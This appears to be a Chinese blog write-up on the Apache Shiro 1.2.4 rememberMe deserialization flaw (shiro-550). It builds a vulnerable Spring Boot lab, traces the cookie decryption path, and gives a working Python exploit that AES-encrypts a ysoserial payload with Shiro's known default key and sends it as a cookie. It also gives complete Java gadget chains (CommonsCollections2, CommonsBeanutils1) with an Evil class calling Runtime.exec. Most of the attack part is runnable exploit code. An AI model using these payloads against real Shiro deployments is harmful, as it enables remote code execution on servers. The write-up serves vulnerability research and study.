shiro 反序列化漏洞探讨
shiro-550
首先先整需要commons-collections4的攻击
pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.penson</groupId>
<artifactId>Springboot</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>war</packaging>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
</properties>
<!--springboot一定需要parent标签-->
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.2.2.RELEASE</version>
</parent>
<!---->
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<!-- <dependency>-->
<!-- <groupId>org.springframework.boot</groupId>-->
<!-- <artifactId>spring-boot-starter-freemarker</artifactId>-->
<!-- </dependency>-->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.2.2.RELEASE</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
将shiro整合到springboot中
https://segmentfault.com/a/1190000019440231
主要先弄好两个类
import org.apache.shiro.authc.*;
import org.apache.shiro.authz.AuthorizationInfo;
import org.apache.shiro.realm.AuthorizingRealm;
import org.apache.shiro.subject.PrincipalCollection;
import javax.annotation.Resource;
public class MyRealm extends AuthorizingRealm {
@Resource
private Userconfig userconfig;
@Override
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principalCollection) {
return null;
}
@Override
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException {
UsernamePasswordToken token = (UsernamePasswordToken) authenticationToken;
String username = token.getUsername();
if (!userconfig.getUsername().equals(username)) {
throw new UnknownAccountException("账户不存在!");
}
return new SimpleAuthenticationInfo(username, userconfig.getPassword(), getName());
}
}
RemembermeConfig
import org.apache.shiro.web.mgt.CookieRememberMeManager;
import org.apache.shiro.web.servlet.SimpleCookie;
import org.springframework.stereotype.Component;
@Component
public class RemembermeConfig {
/**
* cookie设置
* */
public SimpleCookie rememberMeCookie(){
//这个参数是cookie的名称,对应前端的checkbox的name = rememberMe
SimpleCookie simpleCookie = new SimpleCookie("rememberMe");
//cookie生效时间30天,单位秒;
simpleCookie.setMaxAge(2592000);
return simpleCookie;
}
/**
* cookie管理对象;记住我功能
* @return
*/
public CookieRememberMeManager rememberMeManager(){
CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();
cookieRememberMeManager.setCookie(rememberMeCookie());
// cookieRememberMeManager.setCipherKey用来设置加密的Key,参数类型byte[],字节数组长度要求16
// cookieRememberMeManager.setCipherKey(Base64.decode("3AvVhmFLUs0KTA3Kprsdag=="));
cookieRememberMeManager.setCipherKey("ZHANGXIAOHEI_CAT".getBytes());
return cookieRememberMeManager;
}
}
shiroconfig使用Remmerbeme
import org.apache.shiro.mgt.SecurityManager;
import org.apache.shiro.spring.web.ShiroFilterFactoryBean;
import org.apache.shiro.web.mgt.DefaultWebSecurityManager;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import java.util.LinkedHashMap;
import java.util.Map;
@Configuration
public class ShiroConfig {
@Bean
MyRealm myRealm() {
return new MyRealm();
}
@Bean
SecurityManager securityManager() {
DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
manager.setRealm(myRealm());
return manager;
}
@Bean
ShiroFilterFactoryBean shiroFilterFactoryBean() {
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(securityManager());
bean.setLoginUrl("/login");
bean.setSuccessUrl("/success");
bean.setUnauthorizedUrl("/unauthorizedurl");
Map<String, String> map = new LinkedHashMap<>();
map.put("/login", "anon");
map.put("/**", "authc");
bean.setFilterChainDefinitionMap(map);
return bean;
}
}
设置好需要做权限控制的路由以及放行的路由
Controller要做的处理
@PostMapping("/login")
public String Login(@RequestParam(value = "username",required = true) String username, @RequestParam(value = "password",required = true)String password){
Subject subject = SecurityUtils.getSubject();
UsernamePasswordToken token=new UsernamePasswordToken(username,password);
token.setUsername(username);
token.setPassword(password.toCharArray());
//设置记住我
token.setRememberMe(true);
//开始登录
subject.login(token);
if(subject.isAuthenticated() || subject.isRemembered()){
return "redirect:success";
}else {
return "login";
}
}
@GetMapping("success")
public String success(){
return "success";
}
启动打一波
用的CC2的链子
shiro漏洞分析
服务端接收rememberMe的cookie值后的操作是:Cookie中rememberMe字段内容 ---> Base64解密 ---> 使用密钥进行AES解密 --->反序列化,我们要构造POC就需要先序列化数据然后再AES加密最后base64编码
抄一下exp
import subprocess
import requests
from Crypto.Cipher import AES
import base64
import uuid
target = "http://10.219.65.100/penson/login"
jar_file = 'ysoserial.jar'
cipher_key = "kPH+bIxk5D2deZiIxcaaaA=="
# 创建 rememberme的值
popen = subprocess.Popen(['java','-jar', jar_file, "URLDNS", "http://sxl1hs.dnslog.cn"],
stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(cipher_key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
# 发送get请求
try:
r = requests.get(target, cookies={'rememberMe':base64_ciphertext.decode()}, timeout=10)
except:
traceback.print_exc()
shiro1.2.4以下如果没有自定义秘钥的话,会有个默认秘钥
D:\maven\apache-maven-3.6.1\shiro_java\org\apache\shiro\shiro-core\1.2.4\shiro-core-1.2.4.jar!\org\apache\shiro\mgt\AbstractRememberMeManager.class
自定义秘钥也是这样
D:\maven\apache-maven-3.6.1\shiro_java\org\apache\shiro\shiro-web\1.2.4\shiro-web-1.2.4.jar!\org\apache\shiro\web\mgt\CookieRememberMeManager.class
下断点跟进
拿工具打一波就可以看到调用栈咋走的
先进到filter类,然后进到
D:\maven\apache-maven-3.6.1\shiro_java\org\apache\shiro\shiro-core\1.2.4\shiro-core-1.2.4.jar!\org\apache\shiro\mgt\AbstractRememberMeManager.class::getRememberedSerializedIdentity()就是在调CookieManager里的方法
D:\maven\apache-maven-3.6.1\shiro_java\org\apache\shiro\shiro-web\1.2.4\shiro-web-1.2.4.jar!\org\apache\shiro\web\mgt\CookieRememberMeManager.class::getRememberedSerializedIdentity()
再对cookie进行判断
同时还有秘钥
先对cookie进行base64解码
再回到D:\maven\apache-maven-3.6.1\shiro_java\org\apache\shiro\shiro-core\1.2.4\shiro-core-1.2.4.jar!\org\apache\shiro\mgt\AbstractRememberMeManager.class::convertBytesToPrincipals()
就是解密了
D:\maven\apache-maven-3.6.1\shiro_java\org\apache\shiro\shiro-core\1.2.4\shiro-core-1.2.4.jar!\org\apache\shiro\crypto\JcaCipherService.class::decrypt
D:\maven\apache-maven-3.6.1\shiro_java\org\apache\shiro\shiro-core\1.2.4\shiro-core-1.2.4.jar!\org\apache\shiro\io\DefaultSerializer.class
然后再传到deserialize进行反序列化就能够触发利用链
利用工具中的CommonsCollections2
CommonsCollections2TemplatesImpl.java
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
public class CommonsCollections2TemplatesImpl {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
protected static byte[] getBytescode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
return clazz.toBytecode();
}
public byte[] getPayload(byte[] clazzBytes) throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);
setFieldValue(transformer, "iMethodName", "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);
setFieldValue(transformer, "iMethodName", "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
Exp1.java
@Test
public void test() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
byte[] payloads = new CommonsCollections2TemplatesImpl().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
Evil.java
public class Evil extends AbstractTranslet { public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} public Evil() throws Exception { super(); System.out.println("Hello TemplatesImpl"); Runtime.getRuntime().exec("calc.exe"); }}
无cc4攻击
在去除了commons-collections4外部依赖后
可以发现那什么链子都打不通了,而且还有一点就是Beanutils也打不通了,这就很离谱,这个工具也是有弊端的
其实就是把那个compare换成了org.apache.commons.beanutils.BeanComparator:compare
可以发现会调用PropertyUtils.getProperty()方法
getProperty(Object,属性)方法会自动找到当前的类的属性的get方法
回过头看到原来的cc链2的com\sun\org\apache\xalan\internal\xsltc\trax\TemplatesImpl.java
这里刚好是一个get方法,而且它内部刚好调用了newTransformer()方法
所以需要让compare里的对象为那TemplatesImpl方法
这里刚好回过头看到yso的链子
构造一下
package com.exp;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.beanutils.BeanComparator;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;class CommonsBeanutils1Shiro { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public byte[] getPayload(byte[] clazzBytes) throws Exception { TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);// stub data for replacement later queue.add("1"); queue.add("1"); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{obj, obj});// ==================// 生成序列化字符串 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); return barr.toByteArray(); } public static void main(String[] args) throws Exception { TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);// stub data for replacement later queue.add("1"); queue.add("1"); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{obj, obj});// ==================// 生成序列化字符串 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object) ois.readObject(); }}
Exp
import javassist.ClassPool;import javassist.CtClass;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;public class Exp2 { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(Evil.class.getName()); byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode()); AesCipherService aes = new AesCipherService(); byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); }}
这里我试了好多款工具都是打不通的,不知道为啥,回头魔改一个打一波,好像是yso的链子行不通了